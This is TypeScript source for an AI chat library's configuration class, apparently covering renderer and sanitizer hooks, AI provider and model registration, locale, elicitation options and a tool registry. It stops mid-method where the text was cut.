AparteModelPreference {\n provider: string;\n model: string;\n}\n\nexport interface AparteModelPreferenceProvider {\n /** Called whenever the selected provider+model changes */\n save: (provider: string, model: string) => void;\n /** Called on init to restore the previously saved selection. Return null if nothing stored. */\n load: () => AparteModelPreference | null;\n}\n\n/**\n * Incremental Markdown renderer bound to a target element. Created once per\n * streaming message: tokens are fed via `write()` and parsed + appended to the\n * DOM incrementally (O(n) total — no full re-parse / innerHTML rebuild on every\n * token). `end()` flushes any pending text when the stream completes.\n */\nexport interface AparteStreamingMarkdownRenderer {\n /** Append a chunk of Markdown text — parsed incrementally, appended as DOM nodes. */\n write(chunk: string): void;\n /** Finalize the stream (flush any pending text). */\n end(): void;\n}\n\n/**\n * Factory for an {@link AparteStreamingMarkdownRenderer}: given a target element,\n * returns a renderer that appends parsed Markdown into it. Supplied by an\n * opt-in provider package (e.g. `@aparte/provider-streaming-markdown`); when none\n * is registered the chat falls back to the one-shot `AparteMarkdownProvider`.\n */\nexport type AparteStreamingMarkdownProvider = (target: HTMLElement) => AparteStreamingMarkdownRenderer;\n\n/**\n * Builds the HTML document used as an artifact preview iframe `srcdoc` for a\n * given artifact kind (react/html/svg/js/css/…). Supplied by the consuming app\n * — e.g. a React/Babel/Tailwind live preview that loads those libs from a CDN.\n * Core ships only a CDN-free fallback (svg/css/html/js render offline; other\n * kinds degrade to a read-only code view), so the engine stays zero-network and\n * framework-agnostic. The app opts into richer previews via\n * {@link AparteConfig.setArtifactPreviewBuilder}.\n */\nexport type AparteArtifactPreviewBuilder = (kind: string, body: string, title: string) => string;\n\nexport class AparteConfig {\n private _markdownProvider?: AparteMarkdownProvider;\n private _streamingMarkdownProvider?: AparteStreamingMarkdownProvider;\n private _highlightProvider?: AparteHighlightProvider;\n // HTML sanitizer applied to markdown/highlight PROVIDER output (untrusted,\n // LLM-authored) before it is injected via innerHTML. Default = built-in\n // zero-dep allowlist sanitizer; `null` disables it (trusted content only).\n private _sanitizer: AparteSanitizer | null = defaultSanitizer;\n private _systemPromptTemplate?: string;\n private _systemPromptVarsProvider?: AparteSystemPromptVarsProvider;\n private _skeletonProvider?: AparteSkeletonProvider;\n private _statusRenderer?: AparteStatusRenderer;\n private _errorRenderer?: AparteErrorRenderer;\n private _attachmentRenderer?: AparteAttachmentRenderer;\n private _siblingNavRenderer?: AparteSiblingNavRenderer;\n private _bubbleShellRenderer?: AparteBubbleShellRenderer;\n private _iconProvider?: AparteIconProvider;\n private _avatarProvider?: AparteAvatarProvider;\n private _keyProvider?: AparteKeyProvider;\n private _artifactPreviewBuilder?: AparteArtifactPreviewBuilder;\n private _locale: AparteLocale = APARTE_DEFAULT_LOCALE;\n private _actions: AparteAction[] = [];\n private _listeners: Set<() => void> = new Set();\n\n // AI Provider Management (BYORK)\n private _aiProviders: Map<string, AparteAIProvider> = new Map();\n /**\n * What `refreshProviderModels()` last brought back, per provider.\n *\n * Without it, `getCurrentModel()` read `provider.getModels()` only — the\n * SYNCHRONOUS, hand-declared list, which every preset of\n * `@aparte/provider-openai-compat` leaves empty because a compat endpoint's\n * list is fetched at runtime. So the current model resolved to `undefined`\n * for the documented primary path, and everything that reads a capability off\n * it silently got nothing: `AparteClient._toolsForCurrentModel()` gates tools\n * on `capabilities.includes('function_calling')`, so NO tool was ever sent to\n * the model. A registered tool, an approval gate, `<aparte-elicitation>` — all\n * dead, with the model answering, correctly, that it had been given no tools.\n */\n private _fetchedModels: Map<string, AparteAIModel[]> = new Map();\n private _modelConfig: AparteModelConfig = {};\n /** Opt-in: gate the composer (block send + grey out) until a model is selected. */\n private _requireModelSelection = false;\n /** Host policy for the elicitation panel's free-text escape — see {@link setElicitationOptions}. */\n private _elicitationAllowOther = true;\n private _elicitationLayout: 'stepped' | 'stacked' = 'stepped';\n private _elicitationFieldRenderer?: AparteElicitationFieldRenderer | undefined;\n // Transport: where chat requests go + how auth is handled (AparteDirectTransport = browser-direct).\n private _transport: AparteTransport = new AparteDirectTransport();\n private _modelPreferenceProvider?: AparteModelPreferenceProvider;\n\n // Conversation persistence (optional, agnostic)\n private _conversationManager?: AparteConversationManager;\n\n // Human-in-the-loop: presents typed input requests (ask_user,\n // tool approval, forms). Set by the <aparte-elicitation> Web Component.\n private _elicitationPresenter?: AparteElicitationPresenter;\n /** Warn once per config, not once per request — a tool loop can ask repeatedly. */\n private _warnedNoPresenter = false;\n\n // Tool Registry\n private _tools: Map<string, { tool: AparteTool; handler: AparteToolHandler }> = new Map();\n private _toolRenderers: Map<string, AparteToolRenderer> = new Map();\n\n // Host handlers — what the app declares it can actually complete.\n private _hostHandlers: AparteHostHandlersConfig = { ...APARTE_DEFAULT_HOST_HANDLERS };\n\n // Bubble Actions — APARTE_DEFAULT_BUBBLE_ACTIONS is the single source of truth\n // (init here, restored by reset(), and the fallback in getBubbleActions()).\n private _bubbleActionsConfig: AparteBubbleActionsConfig = { ...APARTE_DEFAULT_BUBBLE_ACTIONS };\n\n // ─────────────────────────────────────────────────────────────────────────\n // Provider Setters (Dependency Injection)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register a custom action button. `zones` places it in the composer toolbar\n * and/or the message (bubble) toolbar. Re-registering the same id overwrites\n * it. Notifies mounted elements so they re-render.\n */\n registerAction(action: AparteAction): void {\n const existing = this._actions.findIndex(a => a.id === action.id);\n if (existing !== -1) {\n console.warn(`[AparteConfig] Action with ID \"${action.id}\" already registered. Overwriting.`);\n this._actions[existing] = action;\n } else {\n this._actions.push(action);\n }\n this._notify();\n }\n\n /** All registered actions for a zone, sorted by `order` (lower first). */\n getActions(zone: AparteActionZone): AparteAction[] {\n return this._actions\n .filter(a => a.zones.includes(zone))\n .sort((a, b) => (a.order || 0) - (b.order || 0));\n }\n\n /** Remove a custom action by id (from every zone); notifies mounted elements if it existed. */\n unregisterAction(id: string): void {\n const before = this._actions.length;\n this._actions = this._actions.filter(a => a.id !== id);\n if (this._actions.length !== before) this._notify();\n }\n\n /**\n * Show or hide a composer action button by id.\n * Triggers a config update so all mounted composer elements react immediately.\n */\n setActionHidden(id: string, hidden: boolean): void {\n const action = this._actions.find(a => a.id === id);\n if (action) {\n action.composer = { ...action.composer, hidden };\n this._notify();\n }\n }\n\n /**\n * Configure which action buttons appear in message bubbles.\n * Unset keys keep their defaults — see {@link APARTE_DEFAULT_BUBBLE_ACTIONS}: `copy`\n * only, because every other button needs a host to honor it.\n *\n * @example\n * aparteGlobalConfig.setBubbleActions({ retry: true, edit: true }) // you run AparteClient\n * aparteGlobalConfig.setBubbleActions({ feedback: true }) // you listen for aparte-feedback\n * aparteGlobalConfig.setBubbleActions({ copy: false }) // hide everything\n * // Explicit per-role ordered sets (replace the flag defaults for that role):\n * aparteGlobalConfig.setBubbleActions({ user: ['edit', 'copy'], assistant: ['copy', 'thumbUp', 'thumbDown', 'retry'] })\n */\n setBubbleActions(config: AparteBubbleActionsConfig): void {\n this._bubbleActionsConfig = { ...this._bubbleActionsConfig, ...config };\n this._notify();\n }\n\n /**\n * Declare which host-dependent affordances your app handles. Core renders the\n * trigger only for the ones you claim — see {@link AparteHostHandlersConfig}.\n *\n * @example\n * aparteGlobalConfig.setHostHandlers({ attachmentPreview: true, terminalRun: true });\n */\n setHostHandlers(config: AparteHostHandlersConfig): void {\n this._hostHandlers = { ...this._hostHandlers, ...config };\n this._notify();\n }\n\n /** Returns the resolved host-handler declarations (undeclared = false). */\n // `Required<...>` rather than a hand-written shape: the previous signature\n // listed the three keys literally, so adding a fourth to the interface left\n // this method silently returning a type without it — the caller's read did not\n // even typecheck. Derived from the interface, a new declaration cannot be\n // forgotten here.\n getHostHandlers(): Required<AparteHostHandlersConfig> {\n return {\n attachmentPreview: this._hostHandlers.attachmentPreview ?? APARTE_DEFAULT_HOST_HANDLERS.attachmentPreview,\n terminalRun: this._hostHandlers.terminalRun ?? APARTE_DEFAULT_HOST_HANDLERS.terminalRun,\n artifactRedownload: this._hostHandlers.artifactRedownload ?? APARTE_DEFAULT_HOST_HANDLERS.artifactRedownload,\n artifactRehydrate: this._hostHandlers.artifactRehydrate ?? APARTE_DEFAULT_HOST_HANDLERS.artifactRehydrate,\n };\n }\n\n /** Returns the resolved bubble actions config (flag defaults applied; per-role sets passed through). */\n getBubbleActions(): {\n copy: boolean;\n retry: boolean;\n edit: boolean;\n feedback: boolean;\n info: boolean;\n user?: AparteBubbleActionName[];\n assistant?: AparteBubbleActionName[];\n } {\n return {\n copy: this._bubbleActionsConfig.copy ?? APARTE_DEFAULT_BUBBLE_ACTIONS.copy,\n retry: this._bubbleActionsConfig.retry ?? APARTE_DEFAULT_BUBBLE_ACTIONS.retry,\n edit: this._bubbleActionsConfig.edit ?? APARTE_DEFAULT_BUBBLE_ACTIONS.edit,\n feedback: this._bubbleActionsConfig.feedback ?? APARTE_DEFAULT_BUBBLE_ACTIONS.feedback,\n info: this._bubbleActionsConfig.info ?? APARTE_DEFAULT_BUBBLE_ACTIONS.info,\n user: this._bubbleActionsConfig.user,\n assistant: this._bubbleActionsConfig.assistant,\n };\n }\n\n /**\n * Set a custom Markdown renderer (e.g., marked, maritime-it)\n */\n setMarkdownProvider(fn: AparteMarkdownProvider): void {\n this._markdownProvider = fn;\n }\n\n /**\n * Set an incremental (streaming) Markdown renderer provider. Optional —\n * when set, the chat bubble uses it to render the assistant message\n * token-by-token DURING streaming (incremental parse + DOM append, O(n)),\n * instead of re-parsing the whole string on every token. The one-shot\n * `setMarkdownProvider` is still used for finished / re-rendered messages.\n */\n setStreamingMarkdownProvider(fn: AparteStreamingMarkdownProvider): void {\n this._streamingMarkdownProvider = fn;\n }\n\n /**\n * Create an incremental Markdown renderer bound to `target`, or `null` when\n * no streaming-markdown provider is registered (the caller then falls back\n * to the one-shot `renderMarkdown`).\n */\n createStreamingMarkdownRenderer(target: HTMLElement): AparteStreamingMarkdownRenderer | null {\n return this._streamingMarkdownProvider ? this._streamingMarkdownProvider(target) : null;\n }\n\n /**\n * Set a custom Syntax Highlighter (e.g., prism, highlight.js, shiki)\n * Supports both synchronous and asynchronous renderers.\n */\n setHighlightProvider(fn: AparteHighlightProvider): void {\n this._highlightProvider = fn;\n }\n\n /**\n * Whether a syntax-highlight provider is registered. Lets consumers (e.g.\n * the bubble) skip the highlight pass — and avoid replacing already-rendered\n * code blocks with the plain fallback — when no highlighter is installed.\n */\n hasHighlightProvider(): boolean {\n return !!this._highlightProvider;\n }\n\n /**\n * Replace or disable the HTML sanitizer applied to markdown/highlight\n * provider output before it is injected into the DOM. Defaults to a built-in\n * zero-dependency allowlist sanitizer.\n *\n * @param sanitizer A sanitizer function (e.g. a DOMPurify wrapper) for\n * hardened coverage, or `null` to DISABLE sanitization. Disabling exposes\n * you to XSS from LLM-authored content — only do so for content you fully\n * trust and have already sanitized upstream.\n * @example aparteGlobalConfig.setHtmlSanitizer((html) => DOMPurify.sanitize(html));\n */\n setHtmlSanitizer(sanitizer: AparteSanitizer | null): void {\n if (sanitizer === null) {\n // Passing null is a legitimate choice — an app that fully trusts its\n // own pipeline, or one swapping in DOMPurify at a different layer. But\n // it turns every renderer in this library into a raw `innerHTML` sink\n // for model output, and it used to happen in complete silence, which\n // is indistinguishable from a typo or a half-finished migration. One\n // line in the console, once, so the decision is visible where it takes\n // effect rather than only where it was written.\n console.warn(\n '[aparte] HTML sanitization is now DISABLED (setHtmlSanitizer(null)). '\n + 'Model-authored HTML will be inserted verbatim. Pass a sanitizer '\n + '(e.g. DOMPurify.sanitize) unless you sanitize upstream yourself.',\n );\n }\n this._sanitizer = sanitizer;\n }\n\n /**\n * Run the active sanitizer over provider-produced HTML. Public so a\n * streaming-markdown provider (which appends DOM directly, bypassing\n * `renderMarkdown`) can apply the same policy. Returns the input unchanged\n * only when sanitization was disabled via `setHtmlSanitizer(null)`.\n */\n sanitizeHtml(html: string): string {\n return this._sanitizer ? this._sanitizer(html) : html;\n }\n\n /**\n * Set the system prompt template. Supports `{{key}}` placeholders resolved via setSystemPromptVarsProvider.\n * Pass undefined to clear.\n */\n setSystemPrompt(template: string | undefined): void {\n this._systemPromptTemplate = template;\n }\n\n /** Get the raw system prompt template (with unresolved placeholders). */\n getSystemPromptTemplate(): string | undefined {\n return this._systemPromptTemplate;\n }\n\n /**\n * Register a function that returns a map of variable name → value.\n * Called at request time to resolve `{{key}}` placeholders in the system prompt.\n * Example: () => ({ 'settings.lang': 'French' })\n */\n setSystemPromptVarsProvider(fn: AparteSystemPromptVarsProvider): void {\n this._systemPromptVarsProvider = fn;\n }\n\n /**\n * Resolve the system prompt template by substituting all `{{key}}` placeholders.\n * Returns null if no template is set or the template is empty after trimming.\n */\n resolveSystemPrompt(): string | null {\n if (!this._systemPromptTemplate?.trim()) return null;\n const vars = this._systemPromptVarsProvider ? this._systemPromptVarsProvider() : {};\n const resolved = this._systemPromptTemplate.replace(/\\{\\{([^}]+)\\}\\}/g, (_, key) => vars[key.trim()] ?? '');\n return resolved.trim() || null;\n }\n\n /**\n * Set a custom Skeleton generator for loading states\n * @param provider Object implementing AparteSkeletonProvider interface\n */\n setSkeletonProvider(provider: AparteSkeletonProvider): void {\n this._skeletonProvider = provider;\n }\n\n /**\n * Set a custom Icon provider (e.g., Lucide, FontAwesome, Material)\n * @param provider Object implementing AparteIconProvider interface\n */\n setIconProvider(provider: AparteIconProvider): void {\n this._iconProvider = provider;\n // Notify so already-rendered components (bubble action bars, composer\n // controls re-rendered by consumers) can pick up the new icon set —\n // e.g. a live skin switch. setBubbleActions already notifies.\n this._notify();\n }\n\n /**\n * Register an artifact preview builder (app-level). When set, the artifact\n * renderer uses it to build the preview iframe `srcdoc`; when unset, core's\n * CDN-free fallback is used. This is how the product opts into a\n * React/Babel/Tailwind live preview without leaking those into core.\n */\n setArtifactPreviewBuilder(builder: AparteArtifactPreviewBuilder): void {\n this._artifactPreviewBuilder = builder;\n }\n\n /** The registered artifact preview builder, or undefined for the core fallback. */\n getArtifactPreviewBuilder(): AparteArtifactPreviewBuilder | undefined {\n return this._artifactPreviewBuilder;\n }\n\n /**\n * The icon set as a **complete** provider: every name resolves, falling back\n * to `APARTE_DEFAULT_ICON_FALLBACKS` for anything the registered provider doesn't\n * implement. Callers (bubble action bar, composer controls) can therefore\n * invoke `icons.copy()` unconditionally.\n *\n * It used to hand back the registered provider verbatim, so a provider that\n * implemented a subset — which `getIcon()` has always supported, and which\n * the type now states — crashed every other icon with\n * \"icons.retry is not a function\".\n */\n getIconProvider(): Required<AparteIconProvider> {\n const registered = this._iconProvider;\n const complete = {} as Required<AparteIconProvider>;\n for (const name of Object.keys(APARTE_DEFAULT_ICON_FALLBACKS) as AparteIconName[]) {\n const fn = registered?.[name];\n complete[name] = fn ?? (() => APARTE_DEFAULT_ICON_FALLBACKS[name]);\n }\n return complete;\n }\n\n /**\n * Set a custom avatar renderer. Lets framework consumers (Angular,\n * React, Vue, …) mount live components in place of the default\n * avatar text/image. Cleared by passing `null`.\n */\n setAvatarProvider(provider: AparteAvatarProvider | null): void {\n this._avatarProvider = provider ?? undefined;\n // Notify like every other live-renderer swap so mounted bubbles re-render.\n this._notify();\n }\n\n /** Returns the registered avatar provider, or null if none. */\n getAvatarProvider(): AparteAvatarProvider | null {\n return this._avatarProvider ?? null;\n }\n\n /**\n * Set a custom typing-indicator renderer. Replaces the inner markup of\n * `<aparte-chat-status>` (avatar + animated dots + text) while the element keeps\n * owning show/hide. Return a string or an HTMLElement. Cleared by passing\n * `null`. Notifies mounted components so a live skin switch re-renders.\n */\n setStatusRenderer(renderer: AparteStatusRenderer | null): void {\n this._statusRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered status renderer, or null if none. */\n getStatusRenderer(): AparteStatusRenderer | null {\n return this._statusRenderer ?? null;\n }\n\n /**\n * Set a custom error renderer. Drives the content of error bubbles (the\n * built-in `error` segment) — return a string or an HTMLElement, e.g. a\n * friendly message with a retry button. The bubble also carries `data-error`\n * on its `.aparte-message` while errored, for CSS theming. Cleared with `null`.\n * Notifies mounted components so a live change re-renders.\n */\n setErrorRenderer(renderer: AparteErrorRenderer | null): void {\n this._errorRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered error renderer, or null if none. */\n getErrorRenderer(): AparteErrorRenderer | null {\n return this._errorRenderer ?? null;\n }\n\n /**\n * Set a custom attachment renderer. Replaces the chip rendered for each\n * attachment on a user message (default: image thumbnail / file chip) — return\n * a string or an HTMLElement, e.g. a PDF preview. You own the interactions for\n * custom output (see {@link AparteAttachmentRenderer}). Cleared with `null`.\n * Notifies mounted components so a live change re-renders.\n */\n setAttachmentRenderer(renderer: AparteAttachmentRenderer | null): void {\n this._attachmentRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered attachment renderer, or null if none. */\n getAttachmentRenderer(): AparteAttachmentRenderer | null {\n return this._attachmentRenderer ?? null;\n }\n\n /**\n * Set a custom sibling (branch) position indicator. Replaces the `‹ N / M ›`\n * counter between the prev/next arrows — e.g. dots. Return a string or an\n * HTMLElement (see {@link AparteSiblingNavRenderer}); the arrows keep their\n * behavior. Cleared with `null`. Notifies mounted components.\n */\n setSiblingNavRenderer(renderer: AparteSiblingNavRenderer | null): void {\n this._siblingNavRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered sibling-nav renderer, or null if none. */\n getSiblingNavRenderer(): AparteSiblingNavRenderer | null {\n return this._siblingNavRenderer ?? null;\n }\n\n /**\n * Set a custom bubble shell renderer (advanced) — replaces the structural\n * skeleton of `<aparte-chat-bubble>` while keeping its behavior. The shell must\n * honor the class-hook contract (root `.aparte-message`, region hooks) — see\n * {@link AparteBubbleShellRenderer}. For a fully custom element use `renderBubble`\n * (wrapper) instead. Cleared with `null`. Notifies mounted components.\n */\n setBubbleShellRenderer(renderer: AparteBubbleShellRenderer | null): void {\n this._bubbleShellRenderer = renderer ?? undefined;\n this._notify();\n }\n\n /** Returns the registered bubble-shell renderer, or null if none. */\n getBubbleShellRenderer(): AparteBubbleShellRenderer | null {\n return this._bubbleShellRenderer ?? null;\n }\n\n /**\n * Set the current locale\n * @param locale AparteLocale object defining all strings\n */\n setLocale(locale: AparteLocale): void {\n this._locale = locale;\n // A runtime language switch must propagate to already-mounted components,\n // same as every other live setter.\n this._notify();\n }\n\n /**\n * Restore the built-in English locale (the same `APARTE_DEFAULT_LOCALE` core ships\n * with). Counterpart of {@link setLocale} for language toggles — avoids\n * having to import `APARTE_DEFAULT_LOCALE` yourself.\n */\n resetLocale(): void {\n this._locale = APARTE_DEFAULT_LOCALE;\n this._notify();\n }\n\n /**\n * Get the current locale\n */\n getLocale(): AparteLocale {\n return this._locale;\n }\n\n /**\n * Extend the current locale with partial translations.\n * Useful for plugins to register their own strings.\n * @param translations Partial locale object to merge\n */\n extendLocale(translations: Partial<AparteLocale>): void {\n this._locale = { ...this._locale, ...translations };\n this._notify();\n }\n\n /**\n * Get icon HTML string by name\n * Falls back to textual representation if no provider is set\n */\n getIcon(name: AparteIconName): string {\n const icon = this._iconProvider?.[name];\n if (icon) return icon();\n return APARTE_DEFAULT_ICON_FALLBACKS[name];\n }\n\n /**\n * Set a custom Key provider (e.g., AparteVault override)\n */\n setKeyProvider(provider: AparteKeyProvider): void {\n this._keyProvider = provider;\n }\n\n /**\n * Get API key for a provider\n */\n async getKey(providerId: string): Promise<string | undefined> {\n if (this._keyProvider) {\n return await this._keyProvider(providerId);\n }\n return undefined;\n }\n\n /**\n * Refresh models for a specific provider\n * Orchestrates: Key Retrieval -> Fetch -> Return\n * This keeps UI components unaware of keys.\n */\n async refreshProviderModels(providerId: string): Promise<AparteAIModel[]> {\n const provider = this._aiProviders.get(providerId);\n if (!provider || !provider.fetchModels) return [];\n\n try {\n const apiKey = await this.getKey(providerId);\n // apiKey may be undefined for keyless local providers (e.g. LMStudio) — provider handles it\n const models = await provider.fetchModels(apiKey);\n // Cached so `getCurrentModel()` can see it: a fetched list is the only\n // list a compat endpoint has, and capabilities are read off the model.\n this._fetchedModels.set(providerId, models);\n return models;\n } catch (error) {\n console.warn(`[AparteConfig] Failed to refresh models for ${providerId}`, error);\n return [];\n }\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // AI Provider Management (BYORK - Bring Your Own Key)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register one or more AI providers (e.g., OpenRouter, Gemini, Anthropic)\n * @param providers AparteAIProvider implementations\n * @example\n * aparteGlobalConfig.registerAIProvider(OpenRouterProvider);\n * aparteGlobalConfig.registerAIProvider(GeminiProvider, AnthropicProvider);\n */\n registerAIProvider(...providers: AparteAIProvider[]): void {\n for (const provider of providers) {\n if (!provider) continue;\n if (this._aiProviders.has(provider.id)) {\n console.warn(`[AparteConfig] AI Provider \"${provider.id}\" already registered. Overwriting.`);\n }\n this._aiProviders.set(provider.id, provider);\n }\n this._notify(); // Notify when providers change\n }\n\n /**\n * Unregister an AI provider\n */\n unregisterAIProvider(id: string): void {\n this._aiProviders.delete(id);\n // Notify like registerAIProvider does, so a mounted model-selector drops\n // the removed provider instead of showing a stale list.\n this._notify();\n }\n\n /**\n * Get all registered AI providers\n * Optionally filtered by enabled providers in config\n */\n getAIProviders(): AparteAIProvider[] {\n const all = Array.from(this._aiProviders.values());\n const enabled = this._modelConfig.enabledProviders;\n if (enabled?.length) {\n const result = all.filter(p => enabled.includes(p.id));\n return result;\n }\n return all;\n }\n\n /**\n * Get a specific AI provider by ID\n */\n getAIProvider(id: string): AparteAIProvider | undefined {\n return this._aiProviders.get(id);\n }\n\n /**\n * Set the transport that decides where chat requests go and how auth is\n * handled. Defaults to {@link AparteDirectTransport} (browser-direct — BYOK/local).\n * Use a `AparteBackendTransport` to keep API keys server-side (recommended for\n * production).\n */\n setTransport(transport: AparteTransport): void {\n this._transport = transport;\n }\n\n /** Get the active transport (AparteDirectTransport by default). */\n getTransport(): AparteTransport {\n return this._transport;\n }\n\n /**\n * Register a model preference provider for agnostic persistence.\n * The host app decides how/where to store the selected provider & model.\n * @example\n * aparteGlobalConfig.setModelPreferenceProvider({\n * save: (p, m) => localStorage.setItem('model', JSON.stringify({p, m})),\n * load: () => JSON.parse(localStorage.getItem('model') ?? 'null')\n * });\n */\n setModelPreferenceProvider(provider: AparteModelPreferenceProvider): void {\n this._modelPreferenceProvider = provider;\n }\n\n /**\n * Restore previously saved model preference via the registered provider.\n * Should be called once at app startup, before any component mounts.\n * No-op if no provider is registered or nothing was saved.\n */\n restoreModelPreference(): AparteModelPreference | null {\n if (!this._modelPreferenceProvider) return null;\n const pref = this._modelPreferenceProvider.load();\n if (pref?.provider && pref?.model) {\n // Apply silently without triggering save again\n this._modelConfig = { ...this._modelConfig, defaultProvider: pref.provider, defaultModel: pref.model };\n this._notify();\n return pref;\n }\n return null;\n }\n\n /**\n * Set model selection configuration\n */\n setModelConfig(config: AparteModelConfig): void {\n this._modelConfig = { ...this._modelConfig, ...config };\n\n // Auto-save preference if a provider is registered and we have a full selection\n if (this._modelPreferenceProvider && this._modelConfig.defaultProvider && this._modelConfig.defaultModel) {\n this._modelPreferenceProvider.save(this._modelConfig.defaultProvider, this._modelConfig.defaultModel);\n }\n\n this._notify();\n }\n\n /**\n * Subscribe to configuration changes\n * @returns Unsubscribe function\n */\n subscribe(callback: () => void): () => void {\n this._listeners.add(callback);\n return () => this._listeners.delete(callback);\n }\n\n private _notify(): void {\n // Each listener is isolated: one throwing/slow subscriber must not abort\n // the loop and starve the others of the notification.\n this._listeners.forEach(cb => {\n try { cb(); } catch (err) {\n console.error('[AparteConfig] A config-change listener threw', err);\n }\n });\n // Also dispatch a browser event for maximum agnosticism. `config` lets\n // listeners ignore changes to a config that isn't theirs — components\n // resolving to a different instance (or the global) skip the rebuild\n // instead of every bubble on the page reacting to every config's change.\n if (typeof window !== 'undefined') {\n window.dispatchEvent(new CustomEvent<AparteConfigChangeEventDetail>('aparte-config-change', {\n detail: { config: this, modelConfig: this._modelConfig },\n }));\n }\n }\n\n /**\n * Get current model configuration\n */\n getModelConfig(): AparteModelConfig {\n return { ...this._modelConfig };\n }\n\n /**\n * True when the model config has BOTH a provider and a model selected — i.e.\n * the chat can actually send. Used by the composer's `require-model` gate.\n */\n hasSelectedModel(): boolean {\n return !!(this._modelConfig.defaultProvider && this._modelConfig.defaultModel);\n }\n\n /**\n * Opt-in UX: when enabled, `<aparte-composer>` blocks sending and greys out\n * until {@link hasSelectedModel} is true (e.g. while the model selector is\n * still fetching its list). Off by default so single-model / backend setups\n * that never select a model are unaffected.\n */\n /**\n * Elicitation policy: whether a choice offers a free-text \"Other…\" escape.\n *\n * This is the HOST's decision, not the model's. `ask_user` used to carry an\n * `allow_other` field in the schema it hands the model, which meant the model\n * decided your UX — and a small model fills a field it does not understand: one\n * sent two questions with `allow_other: true` and no options at all, so the\n * panel rendered a radio list whose only entry was \"Other…\", twice.\n *\n * Every serious implementation of this pattern makes the escape hatch a property\n * of the surface rather than of the request. Default `true`, which is what the\n * panel did before, so nothing a user sees changes — only who gets to say so.\n * A direct `requestUserInput` caller can still set `allowOther` per field; that\n * is the app talking, and it wins.\n *\n * `layout` decides how a form of SEVERAL questions is presented.\n * `'stepped'` (default) asks them one at a time with a chip per question;\n * `'stacked'` puts them all in the panel at once. Stacked was the only shape,\n * inherited unexamined from MCP elicitation — which describes a FORM for\n * collecting structured data, not two different questions asked mid-conversation.\n * No product asks a person two questions by stacking them in one box; it is kept\n * as an option because the form case is real, not because it was the right default.\n */\n setElicitationOptions(options: { allowOther?: boolean; layout?: 'stepped' | 'stacked' }): void {\n if (options.allowOther !== undefined) this._elicitationAllowOther = options.allowOther;\n if (options.layout !== undefined) this._elicitationLayout = options.layout;\n this._notify();\n }\n\n /** The elicitation policy (see {@link setElicitationOptions}). */\n getElicitationOptions(): { allowOther: boolean; layout: 'stepped' | 'stacked' } {\n return { allowOther: this._elicitationAllowOther, layout: this._elicitationLayout };\n }\n\n /**\n * Render one field of the question panel yourself.\n *\n * See {@link AparteElicitationFieldRenderer}. Return `null` for a field to let\n * the built-in render it, which is what makes overriding a single kind practical.\n * Pass `null` here to remove the renderer.\n */\n setElicitationFieldRenderer(fn: AparteElicitationFieldRenderer | null): void {\n this._elicitationFieldRenderer = fn ?? undefined;\n this._notify();\n }\n\n /** The custom field renderer, if one is registered. */\n getElicitationFieldRenderer(): AparteElicitationFieldRenderer | undefined {\n return this._elicitationFieldRenderer;\n }\n\n setRequireModelSelection(required: boolean): void {\n if (this._requireModelSelection === required) return;\n this._requireModelSelection = required;\n this._notify();\n }\n\n /** Whether the composer should gate on model selection (see {@link setRequireModelSelection}). */\n getRequireModelSelection(): boolean {\n return this._requireModelSelection;\n }\n\n /**\n * Get the currently selected model object, if available synchronously.\n * Returns undefined if no provider/model is selected, or if the provider's\n * models are only available asynchronously (fetchModels).\n */\n getCurrentModel(): AparteAIModel | undefined {\n const { defaultProvider, defaultModel } = this._modelConfig;\n if (!defaultProvider || !defaultModel) return undefined;\n const provider = this._aiProviders.get(defaultProvider);\n if (!provider) return undefined;\n // The fetched list FIRST: it is fresher, and for a provider whose list only\n // exists at runtime it is the only one there is. `getModels()` stays the\n // fallback, so a provider that declares its models statically is unchanged.\n const fetched = this._fetchedModels.get(defaultProvider);\n const fromFetch = fetched?.find(m => m.id === defaultModel);\n if (fromFetch) return fromFetch;\n const models = provider.getModels();\n if (models instanceof Promise) {\n // Contract violation kept survivable for plain-JS consumers: the\n // type is sync-only, async lists belong in fetchModels().\n console.warn(\n `[AparteConfig] Provider \"${defaultProvider}\".getModels() returned a Promise — it is ignored here, ` +\n 'so this model resolves to undefined and nothing can read its capabilities. ' +\n 'getModels() must return the list synchronously; implement fetchModels() for async fetching.'\n );\n return undefined;\n }\n return models.find(m => m.id === defaultModel);\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Public Rendering Methods (with Fallbacks)\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Get translated string by key\n */\n t(key: keyof AparteLocale): string {\n const val = this._locale[key] || APARTE_DEFAULT_LOCALE[key];\n // Ensure we always return a string for template interpolation\n // For optional properties like 'direction', this might need specific handling or casting\n return (val === undefined) ? '' : val;\n }\n\n /**\n * Render Markdown to HTML\n * Fallback: Escapes HTML and converts newlines to <br>\n */\n renderMarkdown(raw: string): string {\n if (this._markdownProvider) {\n try {\n // Provider output is untrusted (LLM-authored) → sanitize before it hits innerHTML.\n return this.sanitizeHtml(this._markdownProvider(raw));\n } catch (error) {\n console.warn('[AparteConfig] Markdown provider failed, using fallback:', error);\n }\n }\n // The default renderer already HTML-escapes — no sanitization needed.\n return this._defaultMarkdownRenderer(raw);\n }\n\n /**\n * Highlight code block\n * Fallback: Returns raw code wrapped in <pre><code>\n * Supports Promise if provider is async/streaming\n */\n async highlightCode(code: string, lang: string): Promise<string> {\n if (this._highlightProvider) {\n try {\n const result = this._highlightProvider(code, lang);\n const html = result instanceof Promise ? await result : result;\n // Highlighter output is derived from LLM code blocks → sanitize before innerHTML.\n return this.sanitizeHtml(html);\n } catch (error) {\n console.warn('[AparteConfig] Highlight provider failed, using fallback:', error);\n }\n }\n return this._defaultHighlightRenderer(code);\n }\n\n /**\n * Get HTML for a skeleton loader\n * Fallback: Simple CSS-animated box\n */\n getSkeleton(type: AparteSkeletonType): string {\n if (this._skeletonProvider) {\n return this._skeletonProvider.getSkeleton(type);\n }\n return this._defaultSkeletonRenderer(type);\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Tool Registry\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Register a tool and its handler together.\n * The handler is called when the AI invokes the tool during streaming.\n * @example\n * aparteGlobalConfig.registerTool(askUserTool, askUserHandler);\n */\n registerTool(tool: AparteTool, handler: 